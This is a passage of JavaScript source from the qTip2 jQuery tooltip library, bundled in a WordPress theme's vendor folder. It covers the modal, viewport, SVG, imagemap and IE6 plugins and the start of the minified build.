but focus has landed on an input below // this modal, divert focus to the first visible input in this modal // or if we can't find one... the tooltip itself if(!targetOnTop && target.closest(SELECTOR)[0] !== tooltip[0]) { focusInputs(target); } // Detect when we leave the last focusable element... onLast = event.target === focusableElems[focusableElems.length - 1]; } $.extend(self, { init: function() { // Create document overlay elem = self.elem = $('
    ', { id: 'qtip-overlay', html: '
    ', mousedown: function() { return FALSE; } }) .hide(); // Make sure we can't focus anything outside the tooltip $(document.body).bind('focusin'+MODALSELECTOR, stealFocus); // Apply keyboard "Escape key" close handler $(document).bind('keydown'+MODALSELECTOR, function(event) { if(current && current.options.show.modal.escape && event.keyCode === 27) { current.hide(event); } }); // Apply click handler for blur option elem.bind('click'+MODALSELECTOR, function(event) { if(current && current.options.show.modal.blur) { current.hide(event); } }); return self; }, update: function(api) { // Update current API reference current = api; // Update focusable elements if enabled if(api.options.show.modal.stealfocus !== FALSE) { focusableElems = api.tooltip.find('*').filter(function() { return focusable(this); }); } else { focusableElems = []; } }, toggle: function(api, state, duration) { var docBody = $(document.body), tooltip = api.tooltip, options = api.options.show.modal, effect = options.effect, type = state ? 'show': 'hide', visible = elem.is(':visible'), visibleModals = $(MODALSELECTOR).filter(':visible:not(:animated)').not(tooltip), zindex; // Set active tooltip API reference self.update(api); // If the modal can steal the focus... // Blur the current item and focus anything in the modal we an if(state && options.stealfocus !== FALSE) { focusInputs( $(':focus') ); } // Toggle backdrop cursor style on show elem.toggleClass('blurs', options.blur); // Append to body on show if(state) { elem.appendTo(document.body); } // Prevent modal from conflicting with show.solo, and don't hide backdrop is other modals are visible if((elem.is(':animated') && visible === state && prevState !== FALSE) || (!state && visibleModals.length)) { return self; } // Stop all animations elem.stop(TRUE, FALSE); // Use custom function if provided if($.isFunction(effect)) { effect.call(elem, state); } // If no effect type is supplied, use a simple toggle else if(effect === FALSE) { elem[ type ](); } // Use basic fade function else { elem.fadeTo( parseInt(duration, 10) || 90, state ? 1 : 0, function() { if(!state) { elem.hide(); } }); } // Reset position and detach from body on hide if(!state) { elem.queue(function(next) { elem.css({ left: '', top: '' }); if(!$(MODALSELECTOR).length) { elem.detach(); } next(); }); } // Cache the state prevState = state; // If the tooltip is destroyed, set reference to null if(current.destroyed) { current = NULL; } return self; } }); self.init(); }; OVERLAY = new OVERLAY(); function Modal(api, options) { this.options = options; this._ns = '-modal'; this.init( (this.qtip = api) ); } $.extend(Modal.prototype, { init: function(qtip) { var tooltip = qtip.tooltip; // If modal is disabled... return if(!this.options.on) { return this; } // Set overlay reference qtip.elements.overlay = OVERLAY.elem; // Add unique attribute so we can grab modal tooltips easily via a SELECTOR, and set z-index tooltip.addClass(MODALCLASS).css('z-index', QTIP.modal_zindex + $(MODALSELECTOR).length); // Apply our show/hide/focus modal events qtip._bind(tooltip, ['tooltipshow', 'tooltiphide'], function(event, api, duration) { var oEvent = event.originalEvent; // Make sure mouseout doesn't trigger a hide when showing the modal and mousing onto backdrop if(event.target === tooltip[0]) { if(oEvent && event.type === 'tooltiphide' && /mouse(leave|enter)/.test(oEvent.type) && $(oEvent.relatedTarget).closest(OVERLAY.elem[0]).length) { try { event.preventDefault(); } catch(e) {} } else if(!oEvent || (oEvent && oEvent.type !== 'tooltipsolo')) { this.toggle(event, event.type === 'tooltipshow', duration); } } }, this._ns, this); // Adjust modal z-index on tooltip focus qtip._bind(tooltip, 'tooltipfocus', function(event, api) { // If focus was cancelled before it reached us, don't do anything if(event.isDefaultPrevented() || event.target !== tooltip[0]) { return; } var qtips = $(MODALSELECTOR), // Keep the modal's lower than other, regular qtips newIndex = QTIP.modal_zindex + qtips.length, curIndex = parseInt(tooltip[0].style.zIndex, 10); // Set overlay z-index OVERLAY.elem[0].style.zIndex = newIndex - 1; // Reduce modal z-index's and keep them properly ordered qtips.each(function() { if(this.style.zIndex > curIndex) { this.style.zIndex -= 1; } }); // Fire blur event for focused tooltip qtips.filter('.' + CLASS_FOCUS).qtip('blur', event.originalEvent); // Set the new z-index tooltip.addClass(CLASS_FOCUS)[0].style.zIndex = newIndex; // Set current OVERLAY.update(api); // Prevent default handling try { event.preventDefault(); } catch(e) {} }, this._ns, this); // Focus any other visible modals when this one hides qtip._bind(tooltip, 'tooltiphide', function(event) { if(event.target === tooltip[0]) { $(MODALSELECTOR).filter(':visible').not(tooltip).last().qtip('focus', event); } }, this._ns, this); }, toggle: function(event, state, duration) { // Make sure default event hasn't been prevented if(event && event.isDefaultPrevented()) { return this; } // Toggle it OVERLAY.toggle(this.qtip, !!state, duration); }, destroy: function() { // Remove modal class this.qtip.tooltip.removeClass(MODALCLASS); // Remove bound events this.qtip._unbind(this.qtip.tooltip, this._ns); // Delete element reference OVERLAY.toggle(this.qtip, FALSE); delete this.qtip.elements.overlay; } }); MODAL = PLUGINS.modal = function(api) { return new Modal(api, api.options.show.modal); }; // Setup sanitiztion rules MODAL.sanitize = function(opts) { if(opts.show) { if(typeof opts.show.modal !== 'object') { opts.show.modal = { on: !!opts.show.modal }; } else if(typeof opts.show.modal.on === 'undefined') { opts.show.modal.on = TRUE; } } }; // Base z-index for all modal tooltips (use qTip core z-index as a base) QTIP.modal_zindex = QTIP.zindex - 200; // Plugin needs to be initialized on render MODAL.initialize = 'render'; // Setup option set checks CHECKS.modal = { '^show.modal.(on|blur)$': function() { // Initialise this.destroy(); this.init(); // Show the modal if not visible already and tooltip is visible this.qtip.elems.overlay.toggle( this.qtip.tooltip[0].offsetWidth > 0 ); } }; // Extend original api defaults $.extend(TRUE, QTIP.defaults, { show: { modal: { on: FALSE, effect: TRUE, blur: TRUE, stealfocus: TRUE, escape: TRUE } } }); ;PLUGINS.viewport = function(api, position, posOptions, targetWidth, targetHeight, elemWidth, elemHeight) { var target = posOptions.target, tooltip = api.elements.tooltip, my = posOptions.my, at = posOptions.at, adjust = posOptions.adjust, method = adjust.method.split(' '), methodX = method[0], methodY = method[1] || method[0], viewport = posOptions.viewport, container = posOptions.container, cache = api.cache, adjusted = { left: 0, top: 0 }, fixed, newMy, containerOffset, containerStatic, viewportWidth, viewportHeight, viewportScroll, viewportOffset; // If viewport is not a jQuery element, or it's the window/document, or no adjustment method is used... return if(!viewport.jquery || target[0] === window || target[0] === document.body || adjust.method === 'none') { return adjusted; } // Cach container details containerOffset = container.offset() || adjusted; containerStatic = container.css('position') === 'static'; // Cache our viewport details fixed = tooltip.css('position') === 'fixed'; viewportWidth = viewport[0] === window ? viewport.width() : viewport.outerWidth(FALSE); viewportHeight = viewport[0] === window ? viewport.height() : viewport.outerHeight(FALSE); viewportScroll = { left: fixed ? 0 : viewport.scrollLeft(), top: fixed ? 0 : viewport.scrollTop() }; viewportOffset = viewport.offset() || adjusted; // Generic calculation method function calculate(side, otherSide, type, adjust, side1, side2, lengthName, targetLength, elemLength) { var initialPos = position[side1], mySide = my[side], atSide = at[side], isShift = type === SHIFT, myLength = mySide === side1 ? elemLength : mySide === side2 ? -elemLength : -elemLength / 2, atLength = atSide === side1 ? targetLength : atSide === side2 ? -targetLength : -targetLength / 2, sideOffset = viewportScroll[side1] + viewportOffset[side1] - (containerStatic ? 0 : containerOffset[side1]), overflow1 = sideOffset - initialPos, overflow2 = initialPos + elemLength - (lengthName === WIDTH ? viewportWidth : viewportHeight) - sideOffset, offset = myLength - (my.precedance === side || mySide === my[otherSide] ? atLength : 0) - (atSide === CENTER ? targetLength / 2 : 0); // shift if(isShift) { offset = (mySide === side1 ? 1 : -1) * myLength; // Adjust position but keep it within viewport dimensions position[side1] += overflow1 > 0 ? overflow1 : overflow2 > 0 ? -overflow2 : 0; position[side1] = Math.max( -containerOffset[side1] + viewportOffset[side1], initialPos - offset, Math.min( Math.max( -containerOffset[side1] + viewportOffset[side1] + (lengthName === WIDTH ? viewportWidth : viewportHeight), initialPos + offset ), position[side1], // Make sure we don't adjust complete off the element when using 'center' mySide === 'center' ? initialPos - myLength : 1E9 ) ); } // flip/flipinvert else { // Update adjustment amount depending on if using flipinvert or flip adjust *= (type === FLIPINVERT ? 2 : 0); // Check for overflow on the left/top if(overflow1 > 0 && (mySide !== side1 || overflow2 > 0)) { position[side1] -= offset + adjust; newMy.invert(side, side1); } // Check for overflow on the bottom/right else if(overflow2 > 0 && (mySide !== side2 || overflow1 > 0) ) { position[side1] -= (mySide === CENTER ? -offset : offset) + adjust; newMy.invert(side, side2); } // Make sure we haven't made things worse with the adjustment and reset if so if(position[side1] < viewportScroll && -position[side1] > overflow2) { position[side1] = initialPos; newMy = my.clone(); } } return position[side1] - initialPos; } // Set newMy if using flip or flipinvert methods if(methodX !== 'shift' || methodY !== 'shift') { newMy = my.clone(); } // Adjust position based onviewport and adjustment options adjusted = { left: methodX !== 'none' ? calculate( X, Y, methodX, adjust.x, LEFT, RIGHT, WIDTH, targetWidth, elemWidth ) : 0, top: methodY !== 'none' ? calculate( Y, X, methodY, adjust.y, TOP, BOTTOM, HEIGHT, targetHeight, elemHeight ) : 0, my: newMy }; return adjusted; }; ;PLUGINS.polys = { // POLY area coordinate calculator // Special thanks to Ed Cradock for helping out with this. // Uses a binary search algorithm to find suitable coordinates. polygon: function(baseCoords, corner) { var result = { width: 0, height: 0, position: { top: 1e10, right: 0, bottom: 0, left: 1e10 }, adjustable: FALSE }, i = 0, next, coords = [], compareX = 1, compareY = 1, realX = 0, realY = 0, newWidth, newHeight; // First pass, sanitize coords and determine outer edges i = baseCoords.length; while(i--) { next = [ parseInt(baseCoords[--i], 10), parseInt(baseCoords[i+1], 10) ]; if(next[0] > result.position.right){ result.position.right = next[0]; } if(next[0] < result.position.left){ result.position.left = next[0]; } if(next[1] > result.position.bottom){ result.position.bottom = next[1]; } if(next[1] < result.position.top){ result.position.top = next[1]; } coords.push(next); } // Calculate height and width from outer edges newWidth = result.width = Math.abs(result.position.right - result.position.left); newHeight = result.height = Math.abs(result.position.bottom - result.position.top); // If it's the center corner... if(corner.abbrev() === 'c') { result.position = { left: result.position.left + (result.width / 2), top: result.position.top + (result.height / 2) }; } else { // Second pass, use a binary search algorithm to locate most suitable coordinate while(newWidth > 0 && newHeight > 0 && compareX > 0 && compareY > 0) { newWidth = Math.floor(newWidth / 2); newHeight = Math.floor(newHeight / 2); if(corner.x === LEFT){ compareX = newWidth; } else if(corner.x === RIGHT){ compareX = result.width - newWidth; } else{ compareX += Math.floor(newWidth / 2); } if(corner.y === TOP){ compareY = newHeight; } else if(corner.y === BOTTOM){ compareY = result.height - newHeight; } else{ compareY += Math.floor(newHeight / 2); } i = coords.length; while(i--) { if(coords.length < 2){ break; } realX = coords[i][0] - result.position.left; realY = coords[i][1] - result.position.top; if((corner.x === LEFT && realX >= compareX) || (corner.x === RIGHT && realX <= compareX) || (corner.x === CENTER && (realX < compareX || realX > (result.width - compareX))) || (corner.y === TOP && realY >= compareY) || (corner.y === BOTTOM && realY <= compareY) || (corner.y === CENTER && (realY < compareY || realY > (result.height - compareY)))) { coords.splice(i, 1); } } } result.position = { left: coords[0][0], top: coords[0][1] }; } return result; }, rect: function(ax, ay, bx, by) { return { width: Math.abs(bx - ax), height: Math.abs(by - ay), position: { left: Math.min(ax, bx), top: Math.min(ay, by) } }; }, _angles: { tc: 3 / 2, tr: 7 / 4, tl: 5 / 4, bc: 1 / 2, br: 1 / 4, bl: 3 / 4, rc: 2, lc: 1, c: 0 }, ellipse: function(cx, cy, rx, ry, corner) { var c = PLUGINS.polys._angles[ corner.abbrev() ], rxc = c === 0 ? 0 : rx * Math.cos( c * Math.PI ), rys = ry * Math.sin( c * Math.PI ); return { width: (rx * 2) - Math.abs(rxc), height: (ry * 2) - Math.abs(rys), position: { left: cx + rxc, top: cy + rys }, adjustable: FALSE }; }, circle: function(cx, cy, r, corner) { return PLUGINS.polys.ellipse(cx, cy, r, r, corner); } }; ;PLUGINS.svg = function(api, svg, corner) { var doc = $(document), elem = svg[0], root = $(elem.ownerSVGElement), ownerDocument = elem.ownerDocument, strokeWidth2 = (parseInt(svg.css('stroke-width'), 10) || 0) / 2, frameOffset, mtx, transformed, viewBox, len, next, i, points, result, position, dimensions; // Ascend the parentNode chain until we find an element with getBBox() while(!elem.getBBox) { elem = elem.parentNode; } if(!elem.getBBox || !elem.parentNode) { return FALSE; } // Determine which shape calculation to use switch(elem.nodeName) { case 'ellipse': case 'circle': result = PLUGINS.polys.ellipse( elem.cx.baseVal.value, elem.cy.baseVal.value, (elem.rx || elem.r).baseVal.value + strokeWidth2, (elem.ry || elem.r).baseVal.value + strokeWidth2, corner ); break; case 'line': case 'polygon': case 'polyline': // Determine points object (line has none, so mimic using array) points = elem.points || [ { x: elem.x1.baseVal.value, y: elem.y1.baseVal.value }, { x: elem.x2.baseVal.value, y: elem.y2.baseVal.value } ]; for(result = [], i = -1, len = points.numberOfItems || points.length; ++i < len;) { next = points.getItem ? points.getItem(i) : points[i]; result.push.apply(result, [next.x, next.y]); } result = PLUGINS.polys.polygon(result, corner); break; // Unknown shape or rectangle? Use bounding box default: result = elem.getBBox(); result = { width: result.width, height: result.height, position: { left: result.x, top: result.y } }; break; } // Shortcut assignments position = result.position; root = root[0]; // Convert position into a pixel value if(root.createSVGPoint) { mtx = elem.getScreenCTM(); points = root.createSVGPoint(); points.x = position.left; points.y = position.top; transformed = points.matrixTransform( mtx ); position.left = transformed.x; position.top = transformed.y; } // Check the element is not in a child document, and if so, adjust for frame elements offset if(ownerDocument !== document && api.position.target !== 'mouse') { frameOffset = $((ownerDocument.defaultView || ownerDocument.parentWindow).frameElement).offset(); if(frameOffset) { position.left += frameOffset.left; position.top += frameOffset.top; } } // Adjust by scroll offset of owner document ownerDocument = $(ownerDocument); position.left += ownerDocument.scrollLeft(); position.top += ownerDocument.scrollTop(); return result; }; ;PLUGINS.imagemap = function(api, area, corner, adjustMethod) { if(!area.jquery) { area = $(area); } var shape = (area.attr('shape') || 'rect').toLowerCase().replace('poly', 'polygon'), image = $('img[usemap="#'+area.parent('map').attr('name')+'"]'), coordsString = $.trim(area.attr('coords')), coordsArray = coordsString.replace(/,$/, '').split(','), imageOffset, coords, i, next, result, len; // If we can't find the image using the map... if(!image.length) { return FALSE; } // Pass coordinates string if polygon if(shape === 'polygon') { result = PLUGINS.polys.polygon(coordsArray, corner); } // Otherwise parse the coordinates and pass them as arguments else if(PLUGINS.polys[shape]) { for(i = -1, len = coordsArray.length, coords = []; ++i < len;) { coords.push( parseInt(coordsArray[i], 10) ); } result = PLUGINS.polys[shape].apply( this, coords.concat(corner) ); } // If no shapre calculation method was found, return false else { return FALSE; } // Make sure we account for padding and borders on the image imageOffset = image.offset(); imageOffset.left += Math.ceil((image.outerWidth(FALSE) - image.width()) / 2); imageOffset.top += Math.ceil((image.outerHeight(FALSE) - image.height()) / 2); // Add image position to offset coordinates result.position.left += imageOffset.left; result.position.top += imageOffset.top; return result; }; ;var IE6, /* * BGIFrame adaption (http://plugins.jquery.com/project/bgiframe) * Special thanks to Brandon Aaron */ BGIFRAME = ''; function Ie6(api, qtip) { this._ns = 'ie6'; this.init( (this.qtip = api) ); } $.extend(Ie6.prototype, { _scroll : function() { var overlay = this.qtip.elements.overlay; overlay && (overlay[0].style.top = $(window).scrollTop() + 'px'); }, init: function(qtip) { var tooltip = qtip.tooltip, scroll; // Create the BGIFrame element if needed if($('select, object').length < 1) { this.bgiframe = qtip.elements.bgiframe = $(BGIFRAME).appendTo(tooltip); // Update BGIFrame on tooltip move qtip._bind(tooltip, 'tooltipmove', this.adjustBGIFrame, this._ns, this); } // redraw() container for width/height calculations this.redrawContainer = $('
    ', { id: NAMESPACE+'-rcontainer' }) .appendTo(document.body); // Fixup modal plugin if present too if( qtip.elements.overlay && qtip.elements.overlay.addClass('qtipmodal-ie6fix') ) { qtip._bind(window, ['scroll', 'resize'], this._scroll, this._ns, this); qtip._bind(tooltip, ['tooltipshow'], this._scroll, this._ns, this); } // Set dimensions this.redraw(); }, adjustBGIFrame: function() { var tooltip = this.qtip.tooltip, dimensions = { height: tooltip.outerHeight(FALSE), width: tooltip.outerWidth(FALSE) }, plugin = this.qtip.plugins.tip, tip = this.qtip.elements.tip, tipAdjust, offset; // Adjust border offset offset = parseInt(tooltip.css('borderLeftWidth'), 10) || 0; offset = { left: -offset, top: -offset }; // Adjust for tips plugin if(plugin && tip) { tipAdjust = (plugin.corner.precedance === 'x') ? [WIDTH, LEFT] : [HEIGHT, TOP]; offset[ tipAdjust[1] ] -= tip[ tipAdjust[0] ](); } // Update bgiframe this.bgiframe.css(offset).css(dimensions); }, // Max/min width simulator function redraw: function() { if(this.qtip.rendered < 1 || this.drawing) { return this; } var tooltip = this.qtip.tooltip, style = this.qtip.options.style, container = this.qtip.options.position.container, perc, width, max, min; // Set drawing flag this.qtip.drawing = 1; // If tooltip has a set height/width, just set it... like a boss! if(style.height) { tooltip.css(HEIGHT, style.height); } if(style.width) { tooltip.css(WIDTH, style.width); } // Simulate max/min width if not set width present... else { // Reset width and add fluid class tooltip.css(WIDTH, '').appendTo(this.redrawContainer); // Grab our tooltip width (add 1 if odd so we don't get wrapping problems.. huzzah!) width = tooltip.width(); if(width % 2 < 1) { width += 1; } // Grab our max/min properties max = tooltip.css('maxWidth') || ''; min = tooltip.css('minWidth') || ''; // Parse into proper pixel values perc = (max + min).indexOf('%') > -1 ? container.width() / 100 : 0; max = ((max.indexOf('%') > -1 ? perc : 1) * parseInt(max, 10)) || width; min = ((min.indexOf('%') > -1 ? perc : 1) * parseInt(min, 10)) || 0; // Determine new dimension size based on max/min/current values width = max + min ? Math.min(Math.max(width, min), max) : width; // Set the newly calculated width and remvoe fluid class tooltip.css(WIDTH, Math.round(width)).appendTo(container); } // Set drawing flag this.drawing = 0; return this; }, destroy: function() { // Remove iframe this.bgiframe && this.bgiframe.remove(); // Remove bound events this.qtip._unbind([window, this.qtip.tooltip], this._ns); } }); IE6 = PLUGINS.ie6 = function(api) { // Proceed only if the browser is IE6 return BROWSER.ie === 6 ? new Ie6(api) : FALSE; }; IE6.initialize = 'render'; CHECKS.ie6 = { '^content|style$': function() { this.redraw(); } }; ;})); }( window, document ));Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/vendor/qtip/jquery.qtip.min.js000064400000126414152342437710026740 0ustar00/* qTip2 v2.2.1 | Plugins: tips modal viewport svg imagemap ie6 | Styles: core basic css3 | qtip2.com | Licensed MIT | Sat Sep 06 2014 23:12:07 */ !function(a,b,c){!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):jQuery&&!jQuery.fn.qtip&&a(jQuery)}(function(d){"use strict";function e(a,b,c,e){this.id=c,this.target=a,this.tooltip=F,this.elements={target:a},this._id=S+"-"+c,this.timers={img:{}},this.options=b,this.plugins={},this.cache={event:{},target:d(),disabled:E,attr:e,onTooltip:E,lastClass:""},this.rendered=this.destroyed=this.disabled=this.waiting=this.hiddenDuringWait=this.positioning=this.triggering=E}function f(a){return a===F||"object"!==d.type(a)}function g(a){return!(d.isFunction(a)||a&&a.attr||a.length||"object"===d.type(a)&&(a.jquery||a.then))}function h(a){var b,c,e,h;return f(a)?E:(f(a.metadata)&&(a.metadata={type:a.metadata}),"content"in a&&(b=a.content,f(b)||b.jquery||b.done?b=a.content={text:c=g(b)?E:b}:c=b.text,"ajax"in b&&(e=b.ajax,h=e&&e.once!==E,delete b.ajax,b.text=function(a,b){var f=c||d(this).attr(b.options.content.attr)||"Loading...",g=d.ajax(d.extend({},e,{context:b})).then(e.success,F,e.error).then(function(a){return a&&h&&b.set("content.text",a),a},function(a,c,d){b.destroyed||0===a.status||b.set("content.text",c+": "+d)});return h?f:(b.set("content.text",f),g)}),"title"in b&&(d.isPlainObject(b.title)&&(b.button=b.title.button,b.title=b.title.text),g(b.title||E)&&(b.title=E))),"position"in a&&f(a.position)&&(a.position={my:a.position,at:a.position}),"show"in a&&f(a.show)&&(a.show=a.show.jquery?{target:a.show}:a.show===D?{ready:D}:{event:a.show}),"hide"in a&&f(a.hide)&&(a.hide=a.hide.jquery?{target:a.hide}:{event:a.hide}),"style"in a&&f(a.style)&&(a.style={classes:a.style}),d.each(R,function(){this.sanitize&&this.sanitize(a)}),a)}function i(a,b){for(var c,d=0,e=a,f=b.split(".");e=e[f[d++]];)d0?setTimeout(d.proxy(a,this),b):void a.call(this)}function m(a){this.tooltip.hasClass(ab)||(clearTimeout(this.timers.show),clearTimeout(this.timers.hide),this.timers.show=l.call(this,function(){this.toggle(D,a)},this.options.show.delay))}function n(a){if(!this.tooltip.hasClass(ab)&&!this.destroyed){var b=d(a.relatedTarget),c=b.closest(W)[0]===this.tooltip[0],e=b[0]===this.options.show.target[0];if(clearTimeout(this.timers.show),clearTimeout(this.timers.hide),this!==b[0]&&"mouse"===this.options.position.target&&c||this.options.hide.fixed&&/mouse(out|leave|move)/.test(a.type)&&(c||e))try{a.preventDefault(),a.stopImmediatePropagation()}catch(f){}else this.timers.hide=l.call(this,function(){this.toggle(E,a)},this.options.hide.delay,this)}}function o(a){!this.tooltip.hasClass(ab)&&this.options.hide.inactive&&(clearTimeout(this.timers.inactive),this.timers.inactive=l.call(this,function(){this.hide(a)},this.options.hide.inactive))}function p(a){this.rendered&&this.tooltip[0].offsetWidth>0&&this.reposition(a)}function q(a,c,e){d(b.body).delegate(a,(c.split?c:c.join("."+S+" "))+"."+S,function(){var a=y.api[d.attr(this,U)];a&&!a.disabled&&e.apply(a,arguments)})}function r(a,c,f){var g,i,j,k,l,m=d(b.body),n=a[0]===b?m:a,o=a.metadata?a.metadata(f.metadata):F,p="html5"===f.metadata.type&&o?o[f.metadata.name]:F,q=a.data(f.metadata.name||"qtipopts");try{q="string"==typeof q?d.parseJSON(q):q}catch(r){}if(k=d.extend(D,{},y.defaults,f,"object"==typeof q?h(q):F,h(p||o)),i=k.position,k.id=c,"boolean"==typeof k.content.text){if(j=a.attr(k.content.attr),k.content.attr===E||!j)return E;k.content.text=j}if(i.container.length||(i.container=m),i.target===E&&(i.target=n),k.show.target===E&&(k.show.target=n),k.show.solo===D&&(k.show.solo=i.container.closest("body")),k.hide.target===E&&(k.hide.target=n),k.position.viewport===D&&(k.position.viewport=i.container),i.container=i.container.eq(0),i.at=new A(i.at,D),i.my=new A(i.my),a.data(S))if(k.overwrite)a.qtip("destroy",!0);else if(k.overwrite===E)return E;return a.attr(T,c),k.suppress&&(l=a.attr("title"))&&a.removeAttr("title").attr(cb,l).attr("title",""),g=new e(a,k,c,!!j),a.data(S,g),g}function s(a){return a.charAt(0).toUpperCase()+a.slice(1)}function t(a,b){var d,e,f=b.charAt(0).toUpperCase()+b.slice(1),g=(b+" "+rb.join(f+" ")+f).split(" "),h=0;if(qb[b])return a.css(qb[b]);for(;d=g[h++];)if((e=a.css(d))!==c)return qb[b]=d,e}function u(a,b){return Math.ceil(parseFloat(t(a,b)))}function v(a,b){this._ns="tip",this.options=b,this.offset=b.offset,this.size=[b.width,b.height],this.init(this.qtip=a)}function w(a,b){this.options=b,this._ns="-modal",this.init(this.qtip=a)}function x(a){this._ns="ie6",this.init(this.qtip=a)}var y,z,A,B,C,D=!0,E=!1,F=null,G="x",H="y",I="width",J="height",K="top",L="left",M="bottom",N="right",O="center",P="flipinvert",Q="shift",R={},S="qtip",T="data-hasqtip",U="data-qtip-id",V=["ui-widget","ui-tooltip"],W="."+S,X="click dblclick mousedown mouseup mousemove mouseleave mouseenter".split(" "),Y=S+"-fixed",Z=S+"-default",$=S+"-focus",_=S+"-hover",ab=S+"-disabled",bb="_replacedByqTip",cb="oldtitle",db={ie:function(){for(var a=4,c=b.createElement("div");(c.innerHTML="")&&c.getElementsByTagName("i")[0];a+=1);return a>4?a:0/0}(),iOS:parseFloat((""+(/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent)||[0,""])[1]).replace("undefined","3_2").replace("_",".").replace("_",""))||E};z=e.prototype,z._when=function(a){return d.when.apply(d,a)},z.render=function(a){if(this.rendered||this.destroyed)return this;var b,c=this,e=this.options,f=this.cache,g=this.elements,h=e.content.text,i=e.content.title,j=e.content.button,k=e.position,l=("."+this._id+" ",[]);return d.attr(this.target[0],"aria-describedby",this._id),f.posClass=this._createPosClass((this.position={my:k.my,at:k.at}).my),this.tooltip=g.tooltip=b=d("
    ",{id:this._id,"class":[S,Z,e.style.classes,f.posClass].join(" "),width:e.style.width||"",height:e.style.height||"",tracking:"mouse"===k.target&&k.adjust.mouse,role:"alert","aria-live":"polite","aria-atomic":E,"aria-describedby":this._id+"-content","aria-hidden":D}).toggleClass(ab,this.disabled).attr(U,this.id).data(S,this).appendTo(k.container).append(g.content=d("
    ",{"class":S+"-content",id:this._id+"-content","aria-atomic":D})),this.rendered=-1,this.positioning=D,i&&(this._createTitle(),d.isFunction(i)||l.push(this._updateTitle(i,E))),j&&this._createButton(),d.isFunction(h)||l.push(this._updateContent(h,E)),this.rendered=D,this._setWidget(),d.each(R,function(a){var b;"render"===this.initialize&&(b=this(c))&&(c.plugins[a]=b)}),this._unassignEvents(),this._assignEvents(),this._when(l).then(function(){c._trigger("render"),c.positioning=E,c.hiddenDuringWait||!e.show.ready&&!a||c.toggle(D,f.event,E),c.hiddenDuringWait=E}),y.api[this.id]=this,this},z.destroy=function(a){function b(){if(!this.destroyed){this.destroyed=D;var a,b=this.target,c=b.attr(cb);this.rendered&&this.tooltip.stop(1,0).find("*").remove().end().remove(),d.each(this.plugins,function(){this.destroy&&this.destroy()});for(a in this.timers)clearTimeout(this.timers[a]);b.removeData(S).removeAttr(U).removeAttr(T).removeAttr("aria-describedby"),this.options.suppress&&c&&b.attr("title",c).removeAttr(cb),this._unassignEvents(),this.options=this.elements=this.cache=this.timers=this.plugins=this.mouse=F,delete y.api[this.id]}}return this.destroyed?this.target:(a===D&&"hide"!==this.triggering||!this.rendered?b.call(this):(this.tooltip.one("tooltiphidden",d.proxy(b,this)),!this.triggering&&this.hide()),this.target)},B=z.checks={builtin:{"^id$":function(a,b,c,e){var f=c===D?y.nextid:c,g=S+"-"+f;f!==E&&f.length>0&&!d("#"+g).length?(this._id=g,this.rendered&&(this.tooltip[0].id=this._id,this.elements.content[0].id=this._id+"-content",this.elements.title[0].id=this._id+"-title")):a[b]=e},"^prerender":function(a,b,c){c&&!this.rendered&&this.render(this.options.show.ready)},"^content.text$":function(a,b,c){this._updateContent(c)},"^content.attr$":function(a,b,c,d){this.options.content.text===this.target.attr(d)&&this._updateContent(this.target.attr(c))},"^content.title$":function(a,b,c){return c?(c&&!this.elements.title&&this._createTitle(),void this._updateTitle(c)):this._removeTitle()},"^content.button$":function(a,b,c){this._updateButton(c)},"^content.title.(text|button)$":function(a,b,c){this.set("content."+b,c)},"^position.(my|at)$":function(a,b,c){"string"==typeof c&&(this.position[b]=a[b]=new A(c,"at"===b))},"^position.container$":function(a,b,c){this.rendered&&this.tooltip.appendTo(c)},"^show.ready$":function(a,b,c){c&&(!this.rendered&&this.render(D)||this.toggle(D))},"^style.classes$":function(a,b,c,d){this.rendered&&this.tooltip.removeClass(d).addClass(c)},"^style.(width|height)":function(a,b,c){this.rendered&&this.tooltip.css(b,c)},"^style.widget|content.title":function(){this.rendered&&this._setWidget()},"^style.def":function(a,b,c){this.rendered&&this.tooltip.toggleClass(Z,!!c)},"^events.(render|show|move|hide|focus|blur)$":function(a,b,c){this.rendered&&this.tooltip[(d.isFunction(c)?"":"un")+"bind"]("tooltip"+b,c)},"^(show|hide|position).(event|target|fixed|inactive|leave|distance|viewport|adjust)":function(){if(this.rendered){var a=this.options.position;this.tooltip.attr("tracking","mouse"===a.target&&a.adjust.mouse),this._unassignEvents(),this._assignEvents()}}}},z.get=function(a){if(this.destroyed)return this;var b=i(this.options,a.toLowerCase()),c=b[0][b[1]];return c.precedance?c.string():c};var eb=/^position\.(my|at|adjust|target|container|viewport)|style|content|show\.ready/i,fb=/^prerender|show\.ready/i;z.set=function(a,b){if(this.destroyed)return this;{var c,e=this.rendered,f=E,g=this.options;this.checks}return"string"==typeof a?(c=a,a={},a[c]=b):a=d.extend({},a),d.each(a,function(b,c){if(e&&fb.test(b))return void delete a[b];var h,j=i(g,b.toLowerCase());h=j[0][j[1]],j[0][j[1]]=c&&c.nodeType?d(c):c,f=eb.test(b)||f,a[b]=[j[0],j[1],c,h]}),h(g),this.positioning=D,d.each(a,d.proxy(j,this)),this.positioning=E,this.rendered&&this.tooltip[0].offsetWidth>0&&f&&this.reposition("mouse"===g.position.target?F:this.cache.event),this},z._update=function(a,b){var c=this,e=this.cache;return this.rendered&&a?(d.isFunction(a)&&(a=a.call(this.elements.target,e.event,this)||""),d.isFunction(a.then)?(e.waiting=D,a.then(function(a){return e.waiting=E,c._update(a,b)},F,function(a){return c._update(a,b)})):a===E||!a&&""!==a?E:(a.jquery&&a.length>0?b.empty().append(a.css({display:"block",visibility:"visible"})):b.html(a),this._waitForContent(b).then(function(a){c.rendered&&c.tooltip[0].offsetWidth>0&&c.reposition(e.event,!a.length)}))):E},z._waitForContent=function(a){var b=this.cache;return b.waiting=D,(d.fn.imagesLoaded?a.imagesLoaded():d.Deferred().resolve([])).done(function(){b.waiting=E}).promise()},z._updateContent=function(a,b){this._update(a,this.elements.content,b)},z._updateTitle=function(a,b){this._update(a,this.elements.title,b)===E&&this._removeTitle(E)},z._createTitle=function(){var a=this.elements,b=this._id+"-title";a.titlebar&&this._removeTitle(),a.titlebar=d("
    ",{"class":S+"-titlebar "+(this.options.style.widget?k("header"):"")}).append(a.title=d("
